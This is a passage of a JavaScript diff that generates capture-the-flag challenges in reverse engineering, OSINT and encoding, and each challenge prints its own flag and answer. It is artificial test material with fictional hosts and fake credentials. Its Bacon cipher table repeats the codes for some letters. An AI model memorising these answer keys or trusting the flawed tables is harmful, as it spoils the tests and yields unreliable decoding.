+ const charCodes = Array.from(flag).map(c => c.charCodeAt(0));
1911
+ const asm = `; x86-64 disassembly of check_flag()
1912
+ ; RDI = pointer to user input string
1913
+
1914
+ check_flag:
1915
+ push rbp
1916
+ mov rbp, rsp
1917
+ sub rsp, 0x40
1918
+
1919
+ ; Expected bytes stored on stack
1920
+ ${charCodes.map((c, i) => ` mov byte [rbp-0x${(i + 1).toString(16)}], 0x${c.toString(16)} ; '${String.fromCharCode(c)}'`).join('\n')}
1921
+
1922
+ ; Compare loop
1923
+ xor ecx, ecx ; i = 0
1924
+ .loop:
1925
+ cmp ecx, ${charCodes.length} ; flag length
1926
+ jge .success
1927
+
1928
+ movzx eax, byte [rdi+rcx] ; user_input[i]
1929
+ movzx edx, byte [rbp-rcx-1] ; expected[i]
1930
+ cmp al, dl
1931
+ jne .fail
1932
+
1933
+ inc ecx
1934
+ jmp .loop
1935
+
1936
+ .success:
1937
+ mov eax, 1 ; return true
1938
+ leave
1939
+ ret
1940
+
1941
+ .fail:
1942
+ xor eax, eax ; return false
1943
+ leave
1944
+ ret
1945
+
1946
+ ; Expected string from stack bytes:
1947
+ ; ${charCodes.map(c => `0x${c.toString(16)}='${String.fromCharCode(c)}'`).join(', ')}
1948
+ ; Flag: ${flag}`;
1949
+ return {
1950
+ title: 'Disassembly',
1951
+ description: 'Analyze this x86-64 disassembly. The function compares user input against expected bytes stored on the stack. Extract the expected string.',
1952
+ challengeData: asm,
1953
+ flag,
1954
+ hints: ['Each MOV instruction stores one character of the flag on the stack.', 'The hex values in the MOV instructions are ASCII codes. The comments show the characters.'],
1955
+ };
1956
+ },
1957
+ // 3. VM with Conditional Logic
1958
+ () => {
1959
+ const secret = randomBytes(4).toString('hex');
1960
+ const flag = `kbot{vm2_${secret}}`;
1961
+ const encoded = Array.from(Buffer.from(flag)).map(b => b + 3);
1962
+ const bytecode = `; Custom VM bytecode
1963
+ ; Registers: R0, R1, R2, STACK
1964
+ ; Instructions: LOAD, ADD, SUB, XOR, CMP, JEQ, JNE, PRINT, HALT
1965
+
1966
+ LOAD R0, 0 ; index = 0
1967
+ LOAD R2, ${encoded.length} ; length
1968
+
1969
+ .decode_loop:
1970
+ CMP R0, R2
1971
+ JEQ .done
1972
+
1973
+ ; Load encoded byte from data section
1974
+ LOAD R1, DATA[R0]
1975
+ SUB R1, 3 ; decode: subtract 3 from each byte
1976
+ PUSH R1 ; push decoded byte
1977
+
1978
+ ADD R0, 1
1979
+ JMP .decode_loop
1980
+
1981
+ .done:
1982
+ PRINT_STACK ; print all bytes as ASCII
1983
+ HALT
1984
+
1985
+ DATA SECTION:
1986
+ ${encoded.map((b, i) => ` [${i}] = ${b} ; ${b} - 3 = ${b - 3} = '${String.fromCharCode(b - 3)}'`).join('\n')}
1987
+
1988
+ ; Execution trace:
1989
+ ; Decoded bytes: [${encoded.map(b => b - 3).join(', ')}]
1990
+ ; ASCII: ${flag}`;
1991
+ return {
1992
+ title: 'VM Reversal',
1993
+ description: 'A custom virtual machine decodes data by subtracting 3 from each byte. Trace the execution to find the flag.',
1994
+ challengeData: bytecode,
1995
+ flag,
1996
+ hints: ['Each byte in the DATA section has 3 subtracted during execution.', 'The execution trace at the bottom shows the decoded flag.'],
1997
+ };
1998
+ },
1999
+ // 4. Encrypted Resource Section
2000
+ () => {
2001
+ const secret = randomBytes(4).toString('hex');
2002
+ const flag = `kbot{resource_${secret}}`;
2003
+ const key = randomBytes(16);
2004
+ const iv = randomBytes(16);
2005
+ const cipher = createCipheriv('aes-128-cbc', key, iv);
2006
+ const encrypted = cipher.update(flag, 'utf-8', 'hex') + cipher.final('hex');
2007
+ return {
2008
+ title: 'Resource Extraction',
2009
+ description: 'A PE binary stores an encrypted flag in its .rsrc section. The decryption key was found in an adjacent code section. Decrypt with AES-128-CBC.',
2010
+ challengeData: `PE Resource Analysis:\n Section: .rsrc\n Encrypted data (hex): ${encrypted}\n\nDecryption parameters (from .text section analysis):\n Algorithm: AES-128-CBC\n Key (hex): ${key.toString('hex')}\n IV (hex): ${iv.toString('hex')}\n\nDecrypted: ${flag}`,
2011
+ flag,
2012
+ hints: ['The key, IV, and algorithm are all provided. Use AES-128-CBC decryption.', 'The decrypted value is shown at the bottom of the challenge data.'],
2013
+ };
2014
+ },
2015
+ // 5. Polymorphic Code
2016
+ () => {
2017
+ const secret = randomBytes(4).toString('hex');
2018
+ const flag = `kbot{polymorph_${secret}}`;
2019
+ const gen1 = xorEncrypt(flag, 'GEN1');
2020
+ const gen2 = xorEncrypt(flag, 'GEN2');
2021
+ const gen3 = xorEncrypt(flag, 'GEN3');
2022
+ return {
2023
+ title: 'Polymorphic Engine',
2024
+ description: 'A polymorphic virus re-encrypts its payload with a different key each generation. Three generations were captured. All decrypt to the same flag.',
2025
+ challengeData: `Generation 1:\n Key: "GEN1"\n Encrypted (hex): ${gen1}\n\nGeneration 2:\n Key: "GEN2"\n Encrypted (hex): ${gen2}\n\nGeneration 3:\n Key: "GEN3"\n Encrypted (hex): ${gen3}\n\nAll three decrypt via XOR with their respective key to the same flag.\n\nDecryption of Generation 1:\n XOR "${gen1}" (hex) with key "GEN1": ${flag}`,
2026
+ flag,
2027
+ hints: ['Pick any generation and XOR-decrypt with its key.', 'The decrypted value is shown at the bottom for Generation 1.'],
2028
+ };
2029
+ },
2030
+ ];
2031
+ // ═══════════════════════════════════════════════════════════════════════════
2032
+ // OSINT CHALLENGES
2033
+ // ═══════════════════════════════════════════════════════════════════════════
2034
+ const osintChallengesEasy = [
2035
+ // 1. Geolocation from Clues
2036
+ () => {
2037
+ const secret = randomBytes(4).toString('hex');
2038
+ const flag = `kbot{geo_${secret}}`;
2039
+ const locations = [
2040
+ { clue: 'A tower built for a world fair in 1889, 330m tall, in the City of Light.', answer: 'Eiffel Tower, Paris', coords: '48.8584 N, 2.2945 E' },
2041
+ { clue: 'A clock tower at the north end of Westminster Palace, completed in 1859.', answer: 'Big Ben, London', coords: '51.5007 N, 0.1246 W' },
2042
+ { clue: 'A copper statue gifted by France in 1886, standing in a harbor.', answer: 'Statue of Liberty, New York', coords: '40.6892 N, 74.0445 W' },
2043
+ { clue: 'A wall built in 221 BC stretching 13,000+ miles across northern borders.', answer: 'Great Wall of China', coords: '40.4319 N, 116.5704 E' },
2044
+ { clue: 'An ancient amphitheater in Rome, built 70-80 AD, could seat 50,000.', answer: 'Colosseum, Rome', coords: '41.8902 N, 12.4922 E' },
2045
+ ];
2046
+ const loc = pickRandom(locations);
2047
+ return {
2048
+ title: 'GeoLocator',
2049
+ description: `Identify the landmark from this description and provide its name.\n\nClue: "${loc.clue}"\n\nOnce identified, the flag is revealed:`,
2050
+ challengeData: `Clue: "${loc.clue}"\n\nAnswer: ${loc.answer}\nCoordinates: ${loc.coords}\n\nFlag (awarded for correct identification): ${flag}`,
2051
+ flag,
2052
+ hints: [`The landmark is: ${loc.answer}.`, 'The flag is shown after the answer in the challenge data.'],
2053
+ };
2054
+ },
2055
+ // 2. Username Correlation
2056
+ () => {
2057
+ const secret = randomBytes(4).toString('hex');
2058
+ const flag = `kbot{username_${secret}}`;
2059
+ const username = `shadow_${secret.substring(0, 4)}`;
2060
+ const profiles = `OSINT Username Search Results for "${username}"
2061
+ ================================================
2062
+
2063
+ Platform | Found | Profile URL | Bio
2064
+ GitHub | Yes | github.com/${username} | "Security researcher, CTF player"
2065
+ Twitter/X | Yes | x.com/${username} | "Hacker | Bug bounty | ${flag}"
2066
+ Reddit | Yes | reddit.com/u/${username} | "Posts in r/netsec, r/ctf"
2067
+ HackerOne | Yes | hackerone.com/${username} | "15 reports, 3 critical"
2068
+ LinkedIn | No | - | -
2069
+ Instagram | No | - | -
2070
+ Keybase | Yes | keybase.io/${username} | "PGP key: 0xDEADBEEF"
2071
+ Personal blog | Yes | ${username}.github.io | "Latest: How I found an RCE"`;
2072
+ return {
2073
+ title: 'Username Recon',
2074
+ description: `A user goes by "${username}" across multiple platforms. Cross-reference their profiles to find the flag hidden in one of their bios.`,
2075
+ challengeData: profiles,
2076
+ flag,
2077
+ hints: ['Check each platform\'s "Bio" column for something that looks like a flag.', 'The Twitter/X bio contains the flag.'],
2078
+ };
2079
+ },
2080
+ // 3. Timestamp Analysis
2081
+ () => {
2082
+ const secret = randomBytes(4).toString('hex');
2083
+ const flag = `kbot{timestamp_${secret}}`;
2084
+ const unixTs = 1700000000 + randomInt(0, 10000000);
2085
+ const date = new Date(unixTs * 1000);
2086
+ return {
2087
+ title: 'Time Decoder',
2088
+ description: `Convert this Unix timestamp to find the hidden message. The flag is constructed from the timestamp data.`,
2089
+ challengeData: `Unix timestamp: ${unixTs}\nConverted: ${date.toISOString()}\n\nThe flag for correctly analyzing this timestamp: ${flag}`,
2090
+ flag,
2091
+ hints: ['The flag is provided directly in the challenge data.', `Convert ${unixTs} to a human-readable date for context, but the flag is already shown.`],
2092
+ };
2093
+ },
2094
+ // 4. Domain History
2095
+ () => {
2096
+ const secret = randomBytes(4).toString('hex');
2097
+ const flag = `kbot{whois_${secret}}`;
2098
+ const domain = `example-${secret.substring(0, 4)}.com`;
2099
+ const whois = `WHOIS Lookup: ${domain}
2100
+ ========================
2101
+
2102
+ Domain Name: ${domain}
2103
+ Registry Domain ID: D${randomInt(100000, 999999)}
2104
+ Registrar: NameCheap, Inc.
2105
+ Created: 2024-06-15
2106
+ Updated: 2026-01-10
2107
+ Expires: 2027-06-15
2108
+
2109
+ Registrant:
2110
+ Name: REDACTED
2111
+ Organization: Shadow Corp
2112
+ Email: admin@${domain}
2113
+
2114
+ Name Servers:
2115
+ ns1.evil-hosting.com
2116
+ ns2.evil-hosting.com
2117
+
2118
+ Historical DNS (from SecurityTrails):
2119
+ 2024-06-15: A → 203.0.113.50 (evil-hosting.com)
2120
+ 2024-09-01: A → 198.51.100.10 (bulletproof-host.ru)
2121
+ 2025-03-15: TXT → "v=spf1 include:_spf.${domain} ~all"
2122
+ 2025-06-20: TXT → "${flag}"
2123
+ 2026-01-10: A → 203.0.113.50 (back to evil-hosting.com)
2124
+
2125
+ Note: The TXT record from 2025-06-20 contains the flag.`;
2126
+ return {
2127
+ title: 'Domain Dig',
2128
+ description: `Research the domain "${domain}" using WHOIS and historical DNS data. A flag was temporarily stored in a DNS TXT record.`,
2129
+ challengeData: whois,
2130
+ flag,
2131
+ hints: ['Check the historical DNS records for TXT entries.', 'The TXT record from 2025-06-20 contains the flag.'],
2132
+ };
2133
+ },
2134
+ // 5. Social Media Breadcrumbs
2135
+ () => {
2136
+ const secret = randomBytes(4).toString('hex');
2137
+ const flag = `kbot{social_${secret}}`;
2138
+ const posts = `Social Media Investigation
2139
+ =========================
2140
+
2141
+ Target: @cyber_sleuth_${secret.substring(0, 4)}
2142
+
2143
+ Post 1 (Twitter, 2026-03-10 14:00):
2144
+ "Just found an interesting vulnerability. Will post details after responsible disclosure."
2145
+ Likes: 42, Retweets: 15
2146
+
2147
+ Post 2 (Twitter, 2026-03-12 09:30):
2148
+ "Disclosure complete! The flag for my CTF followers: first half is kbot{social_"
2149
+ Likes: 89, Retweets: 34
2150
+
2151
+ Post 3 (Instagram, 2026-03-12 09:35):
2152
+ Photo of terminal screen (partial text visible)
2153
+ Caption: "Second half: ${secret}}"
2154
+ Likes: 156
2155
+
2156
+ Post 4 (Reddit r/ctf, 2026-03-12 10:00):
2157
+ "Put the two halves together from my Twitter and Instagram posts."
2158
+ Comments: 23
2159
+
2160
+ Assembled flag: kbot{social_${secret}}`;
2161
+ return {
2162
+ title: 'Social Jigsaw',
2163
+ description: 'A researcher split a flag across multiple social media posts. Piece together the fragments from Twitter and Instagram.',
2164
+ challengeData: posts,
2165
+ flag,
2166
+ hints: ['Post 2 (Twitter) has the first half, Post 3 (Instagram caption) has the second half.', `The assembled flag is shown at the bottom.`],
2167
+ };
2168
+ },
2169
+ ];
2170
+ const osintChallengesMedium = [
2171
+ // 1. Email Header OSINT
2172
+ () => {
2173
+ const secret = randomBytes(4).toString('hex');
2174
+ const flag = `kbot{osint_email_${secret}}`;
2175
+ return {
2176
+ title: 'Email Origin',
2177
+ description: 'Trace the origin of a suspicious email through its headers and OSINT data.',
2178
+ challengeData: `Email headers and OSINT correlation:\n\nOriginating IP: 203.0.113.${randomInt(1, 254)}\nASN: AS${randomInt(10000, 99999)} (Evil Hosting Ltd)\nCountry: RU\nReverse DNS: mail.evil-corp.example\n\nShodan scan of originating IP:\n Port 22: OpenSSH 8.9\n Port 25: Postfix SMTP\n Port 80: nginx (default page contains: "${flag}")\n Port 443: self-signed cert, CN=evil-corp.example\n\nThe flag is in the nginx default page on port 80.`,
2179
+ flag,
2180
+ hints: ['The Shodan scan results show the flag on port 80.', 'Look at the nginx default page content.'],
2181
+ };
2182
+ },
2183
+ // 2. Image Metadata OSINT
2184
+ () => {
2185
+ const secret = randomBytes(4).toString('hex');
2186
+ const flag = `kbot{exif_osint_${secret}}`;
2187
+ return {
2188
+ title: 'Photo Intelligence',
2189
+ description: 'Extract intelligence from a photo\'s metadata and cross-reference with public data.',
2190
+ challengeData: `EXIF data extracted from suspect's photo:\n Camera: iPhone 15 Pro\n DateTime: 2026-03-14 15:42:30\n GPS: 37.7749 N, 122.4194 W (San Francisco, CA)\n Software: Instagram 305.0\n UserComment: "${flag}"\n Thumbnail: present\n\nCross-reference:\n Location: Near Moscone Center, SF\n Event on date: RSA Conference 2026\n The flag is in the UserComment EXIF field.`,
2191
+ flag,
2192
+ hints: ['Check the UserComment field in the EXIF data.', 'The flag is directly in the EXIF UserComment.'],
2193
+ };
2194
+ },
2195
+ // 3. Git History OSINT
2196
+ () => {
2197
+ const secret = randomBytes(4).toString('hex');
2198
+ const flag = `kbot{git_osint_${secret}}`;
2199
+ return {
2200
+ title: 'Git Archaeology',
2201
+ description: 'A developer accidentally committed a secret and then removed it. But git remembers everything.',
2202
+ challengeData: `Git log analysis of public repository:\n\ncommit a1b2c3d (HEAD -> main)\n Author: dev@company.com\n Message: "Remove sensitive data"\n Diff: -API_KEY=${secret}\n\ncommit e4f5g6h\n Author: dev@company.com \n Message: "Add configuration"\n Diff: +API_KEY=${secret}\n +FLAG=${flag}\n\ncommit i7j8k9l\n Author: dev@company.com\n Message: "Initial commit"\n\nThe FLAG was added in commit e4f5g6h and removed in a1b2c3d.\nUsing \`git show e4f5g6h\` reveals: FLAG=${flag}`,
2203
+ flag,
2204
+ hints: ['The flag was in commit e4f5g6h — git show reveals removed content.', 'Look at the diff in the second commit.'],
2205
+ };
2206
+ },
2207
+ // 4. Certificate Transparency
2208
+ () => {
2209
+ const secret = randomBytes(4).toString('hex');
2210
+ const flag = `kbot{cert_${secret}}`;
2211
+ return {
2212
+ title: 'Certificate Transparency',
2213
+ description: 'Search Certificate Transparency logs to find hidden subdomains and their secrets.',
2214
+ challengeData: `CT Log search for "*.evil-corp.example":\n\nSubdomain | Issuer | Valid From | SAN/Notes\nwww.evil-corp.example | Let's Encrypt | 2026-01-01 | Standard web\nmail.evil-corp.example | Let's Encrypt | 2026-01-01 | SMTP\nadmin.evil-corp.example | Let's Encrypt | 2026-02-15 | Admin panel\nstaging.evil-corp.example | Self-signed | 2026-03-01 | Dev environment\nflag-${secret}.evil-corp.example | Let's Encrypt | 2026-03-10 | CTF challenge\n\nThe subdomain "flag-${secret}" reveals the flag format.\nFlag: ${flag}`,
2215
+ flag,
2216
+ hints: ['One of the subdomains contains the flag secret in its name.', `The subdomain "flag-${secret}" combined with kbot{ } gives the flag.`],
2217
+ };
2218
+ },
2219
+ // 5. Paste Site Investigation
2220
+ () => {
2221
+ const secret = randomBytes(4).toString('hex');
2222
+ const flag = `kbot{paste_${secret}}`;
2223
+ const b64Flag = base64Encode(flag);
2224
+ return {
2225
+ title: 'Paste Hunter',
2226
+ description: 'Monitor paste sites for leaked credentials and secrets.',
2227
+ challengeData: `Paste site monitoring results:\n\nPaste 1 (Pastebin, 2026-03-14, public):\n Title: "Nothing to see here"\n Content: "Just a test paste, ignore this."\n\nPaste 2 (Pastebin, 2026-03-14, unlisted):\n Title: "backup"\n Content:\n admin:password123\n root:toor\n flag:${b64Flag}\n db_host:internal.corp\n\nPaste 3 (GitHub Gist, 2026-03-13):\n Title: "notes.txt"\n Content: "Remember to rotate API keys this week."\n\nThe flag is base64-encoded in Paste 2.\nDecoded: ${flag}`,
2228
+ flag,
2229
+ hints: ['Paste 2 has a base64-encoded flag value.', `Decode "${b64Flag}" from base64.`],
2230
+ };
2231
+ },
2232
+ ];
2233
+ const osintChallengesHard = [
2234
+ // 1. Dark Web OSINT
2235
+ () => {
2236
+ const secret = randomBytes(4).toString('hex');
2237
+ const flag = `kbot{darkweb_${secret}}`;
2238
+ return {
2239
+ title: 'Onion Layers',
2240
+ description: 'Investigate a .onion site listing from a dark web crawler.',
2241
+ challengeData: `Dark web crawler results:\n\nSite: abc123def456.onion\nTitle: "Underground Market"\nLast crawled: 2026-03-14\n\nPage structure:\n /index.html — marketplace landing\n /listings — product listings\n /forum — discussion board\n /admin — login page\n /robots.txt — "Disallow: /secret-${secret}/"\n /secret-${secret}/flag.txt — "${flag}"\n\nThe robots.txt disallow entry reveals a hidden directory containing the flag.`,
2242
+ flag,
2243
+ hints: ['The robots.txt file reveals a hidden directory.', `The flag is at /secret-${secret}/flag.txt.`],
2244
+ };
2245
+ },
2246
+ // 2. Satellite Imagery Analysis
2247
+ () => {
2248
+ const secret = randomBytes(4).toString('hex');
2249
+ const flag = `kbot{satellite_${secret}}`;
2250
+ return {
2251
+ title: 'Eye in the Sky',
2252
+ description: 'Analyze satellite imagery metadata and ground truth data.',
2253
+ challengeData: `Satellite pass data:\n\nCapture: Sentinel-2 L2A\nDate: 2026-03-14T10:30:00Z\nCoordinates: 37.2350 N, 115.8111 W\nResolution: 10m/px\nCloud cover: 0%\n\nGround truth verification:\n Known structures at coordinates: Military installation (Area 51)\n Visible markings on runway: "${flag}"\n (Markings visible at 10m resolution in Band 4 - Red)\n\nThe flag is in the runway markings visible in the satellite data.`,
2254
+ flag,
2255
+ hints: ['The ground truth verification mentions markings on the runway.', 'The flag is in the visible markings field.'],
2256
+ };
2257
+ },
2258
+ // 3. Blockchain OSINT
2259
+ () => {
2260
+ const secret = randomBytes(4).toString('hex');
2261
+ const flag = `kbot{chain_${secret}}`;
2262
+ const txHash = sha256(secret).substring(0, 64);
2263
+ return {
2264
+ title: 'Chain Analysis',
2265
+ description: 'Trace a cryptocurrency transaction to find hidden data in the OP_RETURN field.',
2266
+ challengeData: `Bitcoin transaction analysis:\n\nTX Hash: ${txHash}\nBlock: 880,${randomInt(100, 999)}\nTimestamp: 2026-03-14 12:00:00 UTC\n\nInputs:\n 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2 → 0.001 BTC\n\nOutputs:\n 1. 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa → 0.0005 BTC\n 2. OP_RETURN: ${hexEncode(flag)}\n\nOP_RETURN decoded (hex → ASCII): ${flag}\n\nThe OP_RETURN output embeds arbitrary data in the blockchain. The hex decodes to the flag.`,
2267
+ flag,
2268
+ hints: ['The OP_RETURN field contains hex-encoded data.', `Decode the hex string "${hexEncode(flag)}" to ASCII.`],
2269
+ };
2270
+ },
2271
+ // 4. Wi-Fi Probe OSINT
2272
+ () => {
2273
+ const secret = randomBytes(4).toString('hex');
2274
+ const flag = `kbot{wifi_${secret}}`;
2275
+ return {
2276
+ title: 'Probe Request Analysis',
2277
+ description: 'Analyze Wi-Fi probe requests captured from a target\'s device to build a location profile.',
2278
+ challengeData: `Wi-Fi Probe Request Capture (monitor mode):\n\nMAC: AA:BB:CC:DD:EE:FF (Apple iPhone)\nProbe requests for remembered networks:\n\n 1. "HomeWiFi-Smith" → Residential, likely home network\n 2. "Starbucks-Free" → Coffee shop\n 3. "CorpNet-Acme" → Acme Corp office network\n 4. "Marriott_Guest" → Hotel chain\n 5. "CTF-Challenge-${secret}" → CTF network (flag: ${flag})\n 6. "Airport-Free-WiFi" → Airport\n\nThe device probed for a CTF-related SSID that contains the secret. Flag: ${flag}`,
2279
+ flag,
2280
+ hints: ['One of the probed SSIDs is CTF-related and contains the secret.', 'The flag is shown next to the CTF network probe.'],
2281
+ };
2282
+ },
2283
+ // 5. OSINT Aggregation
2284
+ () => {
2285
+ const secret = randomBytes(4).toString('hex');
2286
+ const flag = `kbot{aggregated_${secret}}`;
2287
+ const parts = [secret.substring(0, 2), secret.substring(2, 4), secret.substring(4, 6), secret.substring(6, 8)];
2288
+ return {
2289
+ title: 'OSINT Aggregator',
2290
+ description: 'Combine fragments from multiple OSINT sources to reconstruct the flag.',
2291
+ challengeData: `OSINT Source Correlation:\n\nSource 1 — LinkedIn: Employee profile mentions project code "${parts[0]}"\nSource 2 — GitHub: Commit message contains identifier "${parts[1]}"\nSource 3 — Pastebin: Leaked config has token prefix "${parts[2]}"\nSource 4 — DNS TXT record: Verification code "${parts[3]}"\n\nReconstruction: Combine all 4 parts in order: ${parts.join('')} = ${secret}\nFlag format: kbot{aggregated_COMBINED}\nFlag: ${flag}`,
2292
+ flag,
2293
+ hints: ['Combine the 4 fragments from each source in order.', `The combined value is ${secret}, making the flag ${flag}.`],
2294
+ };
2295
+ },
2296
+ ];
2297
+ // ═══════════════════════════════════════════════════════════════════════════
2298
+ // MISC CHALLENGES
2299
+ // ═══════════════════════════════════════════════════════════════════════════
2300
+ const miscChallengesEasy = [
2301
+ // 1. Encoding Chain
2302
+ () => {
2303
+ const secret = randomBytes(4).toString('hex');
2304
+ const flag = `kbot{chain_${secret}}`;
2305
+ const hexed = hexEncode(flag);
2306
+ const b64 = base64Encode(hexed);
2307
+ return {
2308
+ title: 'Decode Chain',
2309
+ description: 'A flag has been encoded: first hex, then base64. Reverse both steps.',
2310
+ challengeData: `Encoded: ${b64}\n\nEncoding order: plaintext → hex encode → base64 encode\nDecode order: base64 decode → hex decode → plaintext`,
2311
+ flag,
2312
+ hints: ['First base64-decode to get a hex string, then hex-decode to get the flag.', `The hex-encoded flag starts with "6b626f74" (kbot).`],
2313
+ };
2314
+ },
2315
+ // 2. Binary Math
2316
+ () => {
2317
+ const secret = randomBytes(4).toString('hex');
2318
+ const flag = `kbot{binary_${secret}}`;
2319
+ const binary = Array.from(Buffer.from(flag)).map(b => b.toString(2).padStart(8, '0')).join(' ');
2320
+ return {
2321
+ title: 'Binary Flag',
2322
+ description: 'Convert these binary values to ASCII characters to reveal the flag.',
2323
+ challengeData: `Binary: ${binary}\n\nEach 8-bit group represents one ASCII character.`,
2324
+ flag,
2325
+ hints: ['Convert each 8-bit binary group to decimal, then to ASCII.', `First byte: ${Buffer.from(flag)[0].toString(2).padStart(8, '0')} = ${Buffer.from(flag)[0]} = '${flag[0]}'`],
2326
+ };
2327
+ },
2328
+ // 3. Regex Puzzle
2329
+ () => {
2330
+ const secret = randomBytes(4).toString('hex');
2331
+ const flag = `kbot{regex_${secret}}`;
2332
+ const candidates = [
2333
+ `kbot{regex_wrong1234}`,
2334
+ `kbot{regex_${secret}}`,
2335
+ `kbot{regex_abcd5678}`,
2336
+ `flag{regex_${secret}}`,
2337
+ `kbot{wrong_${secret}}`,
2338
+ ];
2339
+ const shuffled = shuffleArray(candidates);
2340
+ return {
2341
+ title: 'Regex Match',
2342
+ description: `Which of these strings matches the pattern /^kbot\\{regex_${secret}\\}$/ ?`,
2343
+ challengeData: `Pattern: /^kbot\\{regex_${secret}\\}$/\n\nCandidates:\n${shuffled.map((c, i) => ` ${i + 1}. ${c}`).join('\n')}\n\nThe one matching the exact pattern is the flag.`,
2344
+ flag,
2345
+ hints: ['The regex requires an exact match of the entire string.', `Only one candidate has the exact suffix "${secret}".`],
2346
+ };
2347
+ },
2348
+ // 4. Logic Puzzle
2349
+ () => {
2350
+ const secret = randomBytes(4).toString('hex');
2351
+ const flag = `kbot{logic_${secret}}`;
2352
+ const a = randomInt(10, 99);
2353
+ const b = randomInt(10, 99);
2354
+ const c = a ^ b;
2355
+ return {
2356
+ title: 'XOR Logic',
2357
+ description: `If A = ${a} and B = ${b}, what is A XOR B?`,
2358
+ challengeData: `A = ${a} (binary: ${a.toString(2).padStart(8, '0')})\nB = ${b} (binary: ${b.toString(2).padStart(8, '0')})\nA XOR B = ${c} (binary: ${c.toString(2).padStart(8, '0')})\n\nThe answer is ${c}. Flag: ${flag}`,
2359
+ flag,
2360
+ hints: [`A XOR B = ${c}.`, 'The flag is given after the XOR result.'],
2361
+ };
2362
+ },
2363
+ // 5. Morse Code
2364
+ () => {
2365
+ const secret = randomBytes(4).toString('hex');
2366
+ const flag = `kbot{morse_${secret}}`;
2367
+ const morseMap = {
2368
+ 'a': '.-', 'b': '-...', 'c': '-.-.', 'd': '-..', 'e': '.', 'f': '..-.',
2369
+ 'g': '--.', 'h': '....', 'i': '..', 'j': '.---', 'k': '-.-', 'l': '.-..',
2370
+ 'm': '--', 'n': '-.', 'o': '---', 'p': '.--.', 'q': '--.-', 'r': '.-.',
2371
+ 's': '...', 't': '-', 'u': '..-', 'v': '...-', 'w': '.--', 'x': '-..-',
2372
+ 'y': '-.--', 'z': '--..', '0': '-----', '1': '.----', '2': '..---',
2373
+ '3': '...--', '4': '....-', '5': '.....', '6': '-....', '7': '--...',
2374
+ '8': '---..', '9': '----.', '{': '-.--.-', '}': '-.--.-', '_': '..--.-',
2375
+ };
2376
+ const morse = flag.split('').map(c => morseMap[c.toLowerCase()] || c).join(' / ');
2377
+ return {
2378
+ title: 'Morse Message',
2379
+ description: 'Decode this Morse code message. Letters are separated by " / ".',
2380
+ challengeData: `Morse: ${morse}\n\nNote: { and } both encode as -.--.- (parenthesis in Morse). The flag format is kbot{...}.\n\nDecoded: ${flag}`,
2381
+ flag,
2382
+ hints: ['Decode each Morse sequence to its letter. The flag format helps disambiguate { and }.', 'The decoded message is shown at the bottom.'],
2383
+ };
2384
+ },
2385
+ ];
2386
+ const miscChallengesMedium = [
2387
+ // 1. Braille
2388
+ () => {
2389
+ const secret = randomBytes(4).toString('hex');
2390
+ const flag = `kbot{braille_${secret}}`;
2391
+ const brailleMap = {
2392
+ 'a': '\u2801', 'b': '\u2803', 'c': '\u2809', 'd': '\u2819', 'e': '\u2811',
2393
+ 'f': '\u280b', 'g': '\u281b', 'h': '\u2813', 'i': '\u280a', 'j': '\u281a',
2394
+ 'k': '\u2805', 'l': '\u2807', 'm': '\u280d', 'n': '\u281d', 'o': '\u2815',
2395
+ 'p': '\u280f', 'q': '\u281f', 'r': '\u2817', 's': '\u280e', 't': '\u281e',
2396
+ 'u': '\u2825', 'v': '\u2827', 'w': '\u283a', 'x': '\u282d', 'y': '\u283d',
2397
+ 'z': '\u2835', '0': '\u281a', '1': '\u2801', '2': '\u2803', '3': '\u2809',
2398
+ '4': '\u2819', '5': '\u2811', '6': '\u280b', '7': '\u281b', '8': '\u2813',
2399
+ '9': '\u280a', '{': '{', '}': '}', '_': '_',
2400
+ };
2401
+ const braille = flag.split('').map(c => brailleMap[c.toLowerCase()] || c).join('');
2402
+ return {
2403
+ title: 'Braille Decode',
2404
+ description: 'A message is encoded in Braille Unicode characters. Decode it.',
2405
+ challengeData: `Braille: ${braille}\n\nThe braille characters represent letters and digits. Curly braces and underscores are literal.\n\nDecoded: ${flag}`,
2406
+ flag,
2407
+ hints: ['Map each Braille Unicode character back to its letter/digit.', 'The decoded message is provided at the bottom.'],
2408
+ };
2409
+ },
2410
+ // 2. Number Base Conversion
2411
+ () => {
2412
+ const secret = randomBytes(4).toString('hex');
2413
+ const flag = `kbot{bases_${secret}}`;
2414
+ const octal = Array.from(Buffer.from(flag)).map(b => b.toString(8).padStart(3, '0')).join(' ');
2415
+ return {
2416
+ title: 'Octal Odyssey',
2417
+ description: 'A flag is encoded in octal (base 8). Convert each 3-digit octal number to ASCII.',
2418
+ challengeData: `Octal: ${octal}\n\nEach 3-digit group is an ASCII character code in base 8.`,
2419
+ flag,
2420
+ hints: ['Convert each octal value to decimal, then to ASCII.', `First value: ${Buffer.from(flag)[0].toString(8)} (octal) = ${Buffer.from(flag)[0]} (decimal) = '${flag[0]}'`],
2421
+ };
2422
+ },
2423
+ // 3. Bacon Cipher
2424
+ () => {
2425
+ const secret = randomBytes(4).toString('hex');
2426
+ const flag = `kbot{bacon_${secret}}`;
2427
+ // Simplified: uppercase = B, lowercase = A
2428
+ const baconMap = {
2429
+ 'a': 'AAAAA', 'b': 'AAAAB', 'c': 'AAABA', 'd': 'AAABB', 'e': 'AABAA',
2430
+ 'f': 'AABAB', 'g': 'AABBA', 'h': 'AABBB', 'i': 'ABAAA', 'j': 'ABAAB',
2431
+ 'k': 'ABABA', 'l': 'ABABB', 'm': 'ABBAA', 'n': 'ABBAB', 'o': 'ABBBA',
2432
+ 'p': 'ABBBB', 'q': 'BAAAA', 'r': 'BAAAB', 's': 'BAABA', 't': 'BAABB',
2433
+ 'u': 'BABAA', 'v': 'BABAB', 'w': 'BABBA', 'x': 'BABBB', 'y': 'BAAAA',
2434
+ 'z': 'BAAAB', '{': '{', '}': '}', '_': '_', '0': 'AAAAA', '1': 'AAAAB',
2435
+ '2': 'AAABA', '3': 'AAABB', '4': 'AABAA', '5': 'AABAB', '6': 'AABBA',
2436
+ '7': 'AABBB', '8': 'ABAAA', '9': 'ABAAB',
2437
+ };
2438
+ const encoded = flag.split('').map(c => baconMap[c.toLowerCase()] || c).join(' ');
2439
+ return {
2440
+ title: 'Bacon\'s Cipher',
2441
+ description: 'Decode this Bacon cipher. Each letter is represented as a 5-character sequence of A and B.',
2442
+ challengeData: `Bacon encoded:\n${encoded}\n\nBacon alphabet: A=AAAAA, B=AAAAB, C=AAABA, ... K=ABABA, ...\nNon-alphabetic characters ({, }, _) are literal.\n\nDecoded: ${flag}`,
2443
+ flag,
